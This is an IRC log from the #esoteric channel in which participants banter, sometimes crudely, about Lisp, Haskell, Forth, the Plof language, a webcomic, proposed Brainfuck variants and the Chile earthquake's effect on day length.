PRIVMSG #esoteric :i find all this Syn a little taxing < 1267492057 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :augur: In a TCP session, there will be a first (and so "original") SYN. < 1267492087 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i see! < 1267492120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have to go now. I may or may not be on tomorrow; if not, probably tomorrow; if not, probably the next day... otherwise on the weekend, maybe, or even later depending. < 1267492122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But probably not never. < 1267492123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bye! < 1267492125 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267492589 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267493656 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Egobot's o'er here. < 1267493711 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Uhhh, yes? < 1267493722 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("Isn't 'e?"); < 1267493727 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Isn't 'e? < 1267493773 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is just a bot anyway :P < 1267493988 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://filmdrunk.uproxx.com/2010/03/forgotten-classics-white-dog-the-racist-dog < 1267493991 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i have no words < 1267494029 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :そう。 < 1267494048 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :esu < 1267494070 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: もっとです？ < 1267494169 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267494555 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I think APL should be considered an esoteric language. At first, that's what I thought it was. < 1267494570 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267494571 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What paradigm does APL use anyway? < 1267494576 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :array programming < 1267494579 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :vector programming < 1267494581 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Thought so. < 1267494584 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Like Lisp? < 1267494590 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you can do it in lisp < 1267494617 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I never got around to learning Lisp, but it looks hella fun. < 1267494642 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Structurally, I think the language is genious. < 1267494648 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you should learn it < 1267494692 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I should! < 1267494696 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That's my next project. :) < 1267494702 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :good D < 1267494732 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Is it practical for software development? < 1267494842 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suggest Haskell. < 1267494843 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :its tits < 1267494858 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You will then realise that Haskell is fairly mundane. :P < 1267494861 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267494863 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Lisp. < 1267494868 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Lisp* is fairly mundane. < 1267494868 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :haskell is tits < 1267494874 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Farking thinkos. < 1267495140 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: lisp is genius < 1267495157 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Haskell is mundane comparatively < 1267495172 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Haskell is a very different sort of genius < 1267495181 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :No, Haskell isn't genius at all < 1267495187 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It plays off of the work of previous languages < 1267495193 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :namely Miranda and SML < 1267495207 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It's like saying that I'm a genius if I write E=mc^2 < 1267495222 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :SML gets my genius points < 1267495245 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :haskell is difficult enough that most people who learn it think it's god < 1267495257 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :And what MissPiggy said < 1267495618 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Originality and genius are not necessarily connected < 1267495702 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the tits, or just tits? < 1267495703 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :In this case they're the same < 1267495726 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :But I appreciate your insight coppro :) < 1267495747 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: in Lisp's case, I completely agree; it was both genius and original < 1267495750 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :haskell is obviously standing on the shoulders of giants < 1267495755 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267495778 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you mean both genius and unreadable < 1267495791 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: It's very readable < 1267495803 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly, it's more acquired though < 1267495813 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It's not like python where lol N E 1 CAN REED < 1267495819 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :NO LEARNING REQUIRED < 1267495826 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: if you're repeatedly fucked in the eye socket for years, eventually you learn to tolerate it < 1267495847 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell (.)(.) (++) "What" (' ':) "tits?" < 1267495849 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :"What tits?" < 1267495849 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :lisp pisses me off more than chardonnay < 1267495854 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and chardonnay fucking pisses me off < 1267495862 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: No, honestly, if it's properly indented, it's not bad < 1267495868 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Also I mean lisps in general, NOT common lisp < 1267495880 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For the language implementer it's great, the end user just hands you an AST :P < 1267495883 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Common lisp is a mess < 1267495936 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: i don't believe you. I looked at Scheme code. I can certainly see that it gets better with practice, but so does everything else, and Lisp after X time spent on practice will still be less pleasant than non-Lisp after X time < 1267495955 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :humans work in a certain way which is very much the opposite of what Lisp tries to do. < 1267495969 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Even if non-lisp is, in particular, Brainfuck? < 1267495979 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: be practical jeez < 1267495983 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267496031 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: I know what you're saying. I guess I should put it this way: lisp syntax is perfectly suitable for the style of programming it promotes, and trying to replicate this style in other languages would be impossible without sexps < 1267496079 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: duh, obviously. To me this just says the whole style is crap. < 1267496104 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :alan perlis, etc. < 1267496112 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I prefer Haskell syntax. It actively rewards those who learn it. < 1267496120 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: with tits. < 1267496126 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lamentits < 1267496132 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Heheh. < 1267496156 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: I think it needs some work. But the style is remarkable. The point is that you can make your own syntax constructs at any time. Programs writing programs writing programs, data is code, etc etc < 1267496166 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: I apologize if my obsession with tits offends you. < 1267496175 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Plof does it better. < 1267496178 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267496184 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: yeah, it sounds great especially when you just learn about it :D < 1267496190 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I knew you were going to say that :P < 1267496195 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :HOLY SHIT MIND BLOWN < 1267496198 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :kind of thing < 1267496199 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Is true, though. < 1267496205 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But of course! < 1267496230 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Granted, Plof doesn't have the backing of tons of crazy compilation research to make it efficient. < 1267496232 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: although forth blew my mind more than lisp, even though i learned lisp first < 1267496245 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Really? Weird < 1267496271 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: The entire compiler setup *is* mind-blowing, yeah. < 1267496284 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Forth compilers are really neat, tru dat < 1267496287 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: prolly because lisp is still a language < 1267496289 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lament forth blew my mind too "How can ANYONE program in this" < 1267496293 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Especially when you realise how bloody *simple* it is to do, even in assembly. < 1267496303 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :forth is an environment or something < 1267496313 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Same way they do in any other language: abstraction. < 1267496316 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :abstraction-creating environment < 1267496327 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :bare metal, drunk with power, etc < 1267496331 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :tits < 1267496339 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :obligatory http://i.imgur.com/k9YEP.jpg < 1267496344 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Forth makes abstraction cheap. < 1267496360 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yes exactly < 1267496362 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If you're willing to make the abstraction, of course. < 1267496363 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1267496364 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that picture says all really < 1267496400 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267496416 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :FORTRAN makes abstraction cheap L O L < 1267496441 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I do wish I could have made Plof taste a bit more like Forth in some ways. < 1267496445 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not too much though. < 1267496453 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sort of a "Forth with syntax" would be nice :P < 1267496465 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Except not) < 1267496476 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Well, you did get part of the way there already. < 1267496496 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: i don't know anything about plawf plz link me < 1267496501 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Still, there is rather a lot of work going into the PUL, compared with Forth. < 1267496504 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://plof.codu.org/ < 1267496507 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: http://plof.codu.org < 1267496596 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :this LaTeX for the standard needs some work < 1267496597 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :^______________^ < 1267496624 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it does, it was nastily converted from OpenOffice at some point :P < 1267496656 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Besides, it changes too often for me to focus on the spec rather than the actual design. < 1267496659 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament is a latexpert < 1267496668 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've been too lazy to do it right. < 1267496675 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION <3 \latex
< 1267496694 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Amazingly, the LaTeX still looks somewhat good < 1267496725 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :coppro: actually it looks pretty bad but whatever :( < 1267496756 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: it's bad for LaTeX < 1267496766 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :period, end of story < 1267496776 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which is still better than everything else. :P < 1267496785 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but LaTeX starts on top of the heap < 1267496800 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So... < 1267496808 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I converted it to LaTeX to have room to expand upwards in quality, I just haven't really done that yet :P < 1267496810 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Just because you're better than the entire retarded population, doesn't mean you're good < 1267496811 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267496842 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Oh, please don't take my comments about the latex negatively. I realize it can get better. I am just saying it's mediocre at the moment < 1267496844 0 :supperrfreek!~adamgrava@student-wifi.norwich.edu JOIN :#esoteric < 1267496849 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll be so nice and make the latex beautiful < 1267496867 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: I realize it is, I just don't care that much because my focus isn't the code of the spec, it's the language itself :P < 1267496887 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I guess I care but that's just because I'm weird and like typography < 1267496974 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, I would appreciate comments on Plof the language more than comments on Plof's specification :P < 1267496976 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Most of us do -- note that we learn LaTeX. < 1267496982 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267497006 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Maybe I'll go through the spec thoroughly. < 1267497019 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I have been known to be an expert in language design and implementation. < 1267497024 0 :supperrfreek!unknown@unknown.invalid PART #esoteric :? < 1267497214 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is an expert at giving up because no one else cares.
< 1267497221 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :He's a supper freak, supper freak, he's supper freaky. < 1267497245 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Hoot. < 1267497456 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.stationv3.com/d/20090313.html < 1267497602 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Does Station V3 run on Unix V3? < 1267497704 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :If Unix V3 is obsolete junk made by incompetents that tends to cause the generator to fail and the security system to grab everyone and throw them out, probably < 1267498251 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1267498579 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :"Today's guest strip is from my left hand" < 1267499957 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267501109 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267501447 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still can't get used to Neap and Morty talking.
< 1267501578 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Neap and Morty being Sgeo_'s pet gerbils) < 1267501589 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267502132 0 :coppro!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267502151 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants to see Floyd's body again
< 1267502301 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267502309 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :wb < 1267503284 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Floyd being Sgeo_'s on-again-off-again gay lover) < 1267503317 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Floyd being the robot in http://www.stationv3.com/d/20091202.html < 1267503361 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sees no contradiction in those two statements
< 1267503386 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Sgeo_ was just further clarifying. < 1267503401 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1267504651 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Floyd died? < 1267504664 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :No < 1267504669 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :He's just bodyless < 1267504686 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Whew. I was hoping this would actually make sense. < 1267504690 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Although the universe did end. < 1267504699 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I kinda remember that, slightly. < 1267504707 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I saw the most recent strip recently. < 1267504718 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. I suddenly want to reread El Goonish Shive. < 1267504724 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is now in February of this year
< 1267504725 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Because rereading the whole thing is the best way to catch up. < 1267504741 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, that would take a really long time, and I don't have much time. < 1267504744 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm a very busy man! < 1267504748 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION will soon have read the entire archive, not counting the bonus strips, of Station V3
< 1267504749 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or so I've declared myself. < 1267504766 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Instead of studying, working on an important project, writing a rebuttal < 1267504769 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Or anything else < 1267504785 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: not to mention that you will realize how bad the art was originally and try to stab your eyes out < 1267504801 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :See, Sgeo_, this is why we take only one class per semester. < 1267504812 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It gives us time to do the important things. < 1267504823 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :coppro: I already want to stab my eyes out just thinking about it. < 1267504825 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Studying's the only thing in the list that has to do with college < 1267504835 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh, whew. < 1267504840 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's your important project? < 1267504861 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It's "classified" < 1267504865 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Oh. < 1267504873 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Which means I've been talking about it here incessantly < 1267504906 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267504910 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If it's Normish-related, abandon it and join #sxmc so you can help me with my... also classified project. < 1267505350 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, Sgeo_, as you were saying... < 1267505393 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, look up mentions that I may have made about C# < 1267507434 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267509628 0 :adu!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267509653 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267510610 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267510630 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1267510718 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267510825 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Guys. < 1267510827 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Anyone here? < 1267510845 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Never. < 1267510871 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Okay, well I came up with an idea for an ugly esolang called Nibble. < 1267510887 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Here are my notes: http://pastie.org/849378 < 1267510889 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1267510929 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1267511005 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267511051 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :There's a few things I forgot to mention in there so it's okay if it makes no sense whatsoever. < 1267511229 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1267511402 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Whatcha think? < 1267512019 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267512164 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267512166 0 :adu!unknown@unknown.invalid QUIT :Client Quit < 1267512410 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Eh? < 1267512472 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :This channel is dead. Please cast a resurrection spell/reboot the server/pray to the gods/start the daemon/plug the channel in/start the devil. < 1267512599 0 :angstrom!unknown@unknown.invalid QUIT :Quit: leaving < 1267512925 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Nice. < 1267513064 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267513256 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267513388 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1267514947 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Question. < 1267514961 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Is CoreWar still around? < 1267514967 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :i.e. popular? < 1267516341 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267516799 0 :clog!unknown@unknown.invalid QUIT :ended < 1267516800 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267520061 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I have a question. < 1267520433 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267521209 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :wow, the Chile earthquake actually made a measurable change to the Earth's rotation < 1267521224 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :days are now 1.26 µs shorter than they were before < 1267521282 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And that tsunami quake few years ago shortened them by 6.8 µs. (I happened to be reading the same bit of news at the same time.) < 1267521364 0 :puzzlet!unknown@unknown.invalid PRIVMSG #esoteric :all of these just to reduce angular momentum by itself? < 1267521382 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :shorter days implies a faster angular momentum < 1267521393 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although it could also happen due to a change in rotation speed around the sun < 1267521473 0 :puzzlet!unknown@unknown.invalid PRIVMSG #esoteric :i mean reduce moment of inertia < 1267521484 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah, apparently it sped up because the Earth became denser towards the centre and less dense towards the crust as a result < 1267521545 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The news article I happened to be reading does note something vague about there being regular larger changes in day-length "due to other causes, such as atmospheric mass moving around on Earth". < 1267521575 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :tidal forces apparently have the largest day-to-day effect < 1267521592 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it apparently takes 100 days of the Moon going round in circles to produce a similarly-sized change to the earthquake < 1267521622 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. That's clearly bad design. A responsible Intelligent Designer would've made things much more orderly. < 1267521799 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The word-pair "combat-wombat" keeps going round my head. < 1267522208 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Ohai, gaiz. < 1267522234 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :How do you like my idea for a universal brainfuck entension? (http://pastie.org/849477) < 1267522350 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It mimics ideas from pbrain, brainstack, fukyorbrane and some others, but I came up with the data indirection and thought it was pretty neat. < 1267522357 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :But it's centralized. < 1267522516 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1267522528 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1267522558 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric ::;@ work as in fukyourbrane? < 1267522570 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :actually, looks like @ terminates a procedure if it's in one, or a thread if it isn't < 1267522597 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, -126 to 127 is a weird range, you probably meant -128 to 127 < 1267522666 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267522927 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yep. < 1267522933 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I sure did. Meh. < 1267523003 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'd love to implement C-style functions, especially if it had stack support. :) < 1267523282 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :So do you like it? < 1267523472 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it seems reasonable; we get a lot of BF variants of that sort < 1267523480 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if you can create a compiler from that to regular BF, it would be even more interesting < 1267523561 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Fixed it up. (http://pastie.org/849497) < 1267523565 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Sure would. < 1267523695 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Yerp. I've just never seen one that implemented basic features like this without going overboard. I believe it's still minimal, yet powerful. < 1267523832 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :have you seen Modular SNUSP? < 1267523882 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/SNUSP < 1267523887 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it might be interesting to look at for ideas < 1267523893 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :we should just compile LLVM bitcode to BF; at that point you're golden < 1267524071 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Interesting. < 